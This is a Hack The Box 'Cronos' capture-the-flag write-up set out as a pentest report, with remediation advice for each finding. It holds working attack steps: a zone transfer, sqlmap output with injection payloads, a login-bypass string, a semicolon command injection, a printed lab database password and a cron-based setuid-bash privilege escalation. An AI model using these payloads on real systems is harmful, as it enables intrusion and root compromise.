Hack The Box Cronos Writeup (Medium Linux)

Summary

Cronos is a medium Linux machine exposing SSH, DNS and HTTP. The DNS server allows a zone transfer, and dig axfr against cronos.htb returns the admin.cronos.htb virtual host that is not linked anywhere. That admin panel is vulnerable to SQL injection, confirmed with sqlmap, and the payload admin’ or ‘‘*’ logs in as admin without a password. Behind the login sits a Net Tool v0.1 panel that passes the ping target straight to the shell, so appending a semicolon and a command gives execution as www-data. Reading /var/www/admin/config.php recovers the database credentials, and a crontab running as root every minute executes PHP against Laravel’s artisan file, which www-data owns: dropping exec(‘chmod +s /bin/bash’) into it and waiting a minute gives a root shell.

Executive Summary

Introduction

This Pentest report documents the security assessment conducted on the IP address 10.10.10.13. The assessment aimed to identify vulnerabilities that could be exploited to compromise the security of the target infrastructure.

Objective

The objective of this security assessment was to identify and exploit vulnerabilities in the target’s infrastructure to evaluate existing security measures and provide recommendations to mitigate the identified risks.

Requirements

• Identify vulnerabilities in the web application hosted at IP address 10.10.10.13.

• Exploit critical and moderate vulnerabilities to assess potential exposure to attacks.

• Evaluate the possibility of unauthorized access to systems and data.

High-Level Summary of Found Vulnerabilities

DNS Enumeration

1. Zone Transfer (Moderate): A DNS Zone Transfer attack on 10.10.10.13 (cronos.htb) allowed the retrieval of domain name information, potentially spreading the attack vector. To mitigate this, restrict DNS Zone Transfers to authorized IP addresses and modify the DNS server configuration (BIND) to limit Zone Transfer permissions.

Web Server Enumeration

1. admin.cronos.htb - SQL Injection (High): A SQL injection vulnerability in admin.cronos.htb enabled the extraction of sensitive information from the database. Remediation involves implementing input validation and parameterized queries to prevent such attacks and setting up logging to detect and respond to potential attacks in real-time.

2. admin.cronos.htb - Authentication Bypass (High): By using a SQL injection payload, the authentication mechanism at admin.cronos.htb could be bypassed, allowing login as ‘admin’ without a valid password. To fix this, address the SQL injection vulnerability mentioned above.

3. Initial Access - Command Injection (High): After logging in as admin without a valid password (using the Authentication Bypass above), a remote attacker can inject OS commands through the Net Tool v0.1 panel. Mitigation includes patching SQL injection vulnerabilities and implementing correct user authentication. Thoroughly validate and sanitize user input to prevent command injection attacks.

Post Exploitation

1. Database Credentials: Database user credentials were extracted from the file config.php after obtaining a foothold on the machine. To improve security, store credentials securely using encryption or hashing, and regularly rotate and update database credentials.

2. LPE to root (Local Privilege Escalation to root): An active crontab was abused to run as the root user every minute. This crontab executed PHP on Laravel’s ‘artisan’ file, owned by the low-privileged user www-data. To prevent this privilege escalation, run the crontab as www-data instead.

Recommendations

1. Implement measures to restrict DNS Zone Transfers to authorized IP addresses and limit Zone Transfer permissions in the DNS server configuration (BIND).

2. Address the SQL injection vulnerability in admin.cronos.htb by implementing input validation, parameterized queries, and real-time attack detection through logging.

3. Correct the SQL injection vulnerability in the authentication mechanism at admin.cronos.htb by applying the same recommendations mentioned above.

4. Thoroughly validate and sanitize user input in the Net Tool v0.1 panel to prevent command injection attacks after login.

5. Enhance security for database credentials storage, including encryption or hashing, and establish a regular rotation and update process.

6. Prevent local privilege escalation to root by configuring the crontab to run as the user www-data.

Methodology

The assessment involved service enumeration, DNS enumeration, and web server enumeration. DNS Zone Transfer attacks, SQL injection, authentication bypass, and command injection vulnerabilities were identified and exploited. Post exploitation activities included the extraction of database credentials and a local privilege escalation to root scenario through an active crontab.

Independent Challenge - 10.10.10.13

export IP=10.10.10.13

Service Enumeration

IP Address	Ports Open
10.10.10.13	TCP: 22, 53, 80

DNS Enumeration

Zone Transfer

Vulnerability Explanation: Behind Security was able to execute a DNS Zone Transfer attack on 10.10.10.13 (cronos.htb), retrieving information on domain names and spreading the attack vector.

Vulnerability Fix: Restrict DNS Zone Transfers to authorized IP addresses only. Modify the DNS server configuration (BIND) to limit Zone Transfer permissions.

Severity: Moderate

Steps to Reproduce the Attack:

1. Execute dig axfr @10.10.10.13 cronos.htb.

Command Output:

$ dig axfr @10.10.10.13 cronos.htb 

; <<>> DiG 9.18.16-1-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.             604800  IN      NS      ns1.cronos.htb.
cronos.htb.             604800  IN      A       10.10.10.13
admin.cronos.htb.       604800  IN      A       10.10.10.13
ns1.cronos.htb.         604800  IN      A       10.10.10.13
www.cronos.htb.         604800  IN      A       10.10.10.13
cronos.htb.             604800  IN      SOA     cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 88 msec
;; SERVER: 10.10.10.13#53(10.10.10.13) (TCP)
;; WHEN: Mon Sep 11 11:18:54 MDT 2023
;; XFR size: 7 records (messages 1, bytes 203)

Web Server Enumeration

Vhost: cronos.htb, admin.cronos.htb

admin.cronos.htb

SQL Injection

Vulnerability Explanation: Behind Security discovered a SQL injection flaw that allowed the tester to extract sensitive information from the database.

Vulnerability Fix:

1. Sanitize user input: Implement input validation and parameterized queries to prevent this kind of attacks.

2. Monitor and log: Set up logging to detect and respond to potential attacks in real-time.

Severity: High

Steps to Reproduce the Attack:

1. Add admin.cronos.htb to the /etc/hosts file to resolve the domain.

2. Execute sqlmap -u http://admin.cronos.htb/ --forms --batch --risk 3 --level 5 to identify and exploit the SQL injection vulnerability.

Command Output:

$ sqlmap -u http://admin.cronos.htb/ --forms --batch --risk 3 --level 5
        ___
       __H__                                                                                 
 ___ ___[']_____ ___ ___  {1.7.8#stable}                                                     
|_ -| . ["]     | .'| . |                                                                    
|___|_  [.]_|_|_|__,|  _|                                                                    
      |_|V...       |_|   https://sqlmap.org                                                 

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 11:54:21 /2023-09-11/

[11:54:21] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=7hdacnhjtn3...r322ki9ot6'). Do you want to use those [Y/n] Y
[11:54:21] [INFO] searching for forms
[1/1] Form:
POST http://admin.cronos.htb/
POST data: username=&password=
do you want to test this form? [Y/n/q] 
> Y
Edit POST data [default: username=&password=] (Warning: blank fields detected): username=&password=
do you want to fill blank fields with random values? [Y/n] Y
sqlmap identified the following injection point(s) with a total of 557 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: username=-9529' OR 8063=8063-- rcBi&password=eHCE

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=hJGu' AND (SELECT 3301 FROM (SELECT(SLEEP(5)))WuZj)-- CTLJ&password=eHCE
---
do you want to exploit this SQL injection? [Y/n] Y
[11:55:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.10 or 16.04 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12
[11:55:47] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/home/kali/.local/share/sqlmap/output/results-09112023_1154am.csv'

[*] ending @ 11:55:47 /2023-09-11/

Authentication Bypass

Vulnerability Explanation: Using a SQL injection payload, Behind Security was able to bypass the authentication mechanism at admin.cronos.htb, logging in as ‘admin’ without a valid password.

Vulnerability Fix:

1. Fix the SQL injection vulnerability as mentioned above.

Severity: High

Steps to Reproduce the Attack:

1. Head to admin.cronos.htb

2. Supply admin' or ''*' as the username and any password.

Initial Access - Command Injection

Vulnerability Explanation: After logging in as admin without a valid password (see Authentication Bypass above), the remote attacker can inject OS commands through the Net Tool v0.1 panel by escaping the original command with a semicolon.

Vulnerability Fix:

1. Ensure that the SQL injection vulnerabilities are patched, and user authentication is correctly implemented.

2. Validate and sanitize user input thoroughly to prevent command injection attacks.

Severity: High

Steps to Reproduce the Attack:

1. Log in as admin without a password (to do so, provide admin' or ''*' and any password at http://admin.cronos.htb/).

2. Select ping from the drop-down menu and supply 127.0.0.1;id or any command as you wish.

Post Exploitation

Database Credentials

Vulnerability Explanation: After obtaining a foothold on the machine, Behind Security was able to extract the database user credentials from the file config.php.

Vulnerability Fix:

1. Store credentials securely using encryption or hashing.

2. Regularly rotate and update database credentials.

Steps to Reproduce the Attack:

1. cat /var/www/admin/config.php

Code snippet:

<?php
   define('DB_SERVER', 'localhost');
   define('DB_USERNAME', 'admin');
   define('DB_PASSWORD', 'kEjdbRigfBHUREiNSDs');
   define('DB_DATABASE', 'admin');
   $db = mysqli_connect(DB_SERVER,DB_USERNAME,DB_PASSWORD,DB_DATABASE);
?>

LPE to root

Vulnerability Explanation: Behind Security was able to abuse an active crontab that was configured to run as the root user every minute. The crontab executes PHP on Laravel’s ‘artisan’ file, which is owned by the low-privileged user www-data that we got access to previously.

Vulnerability Fix:

1. Run the crontab as www-data to prevent this privilege escalation.

Severity: Extreme

Steps to Reproduce the Attack:

1. Insert malicious PHP code into /var/www/laravel/artisan and wait until the cron job runs it to gain privileged command execution. Example: exec('chmod +s /bin/bash'); and then /bin/bash -p.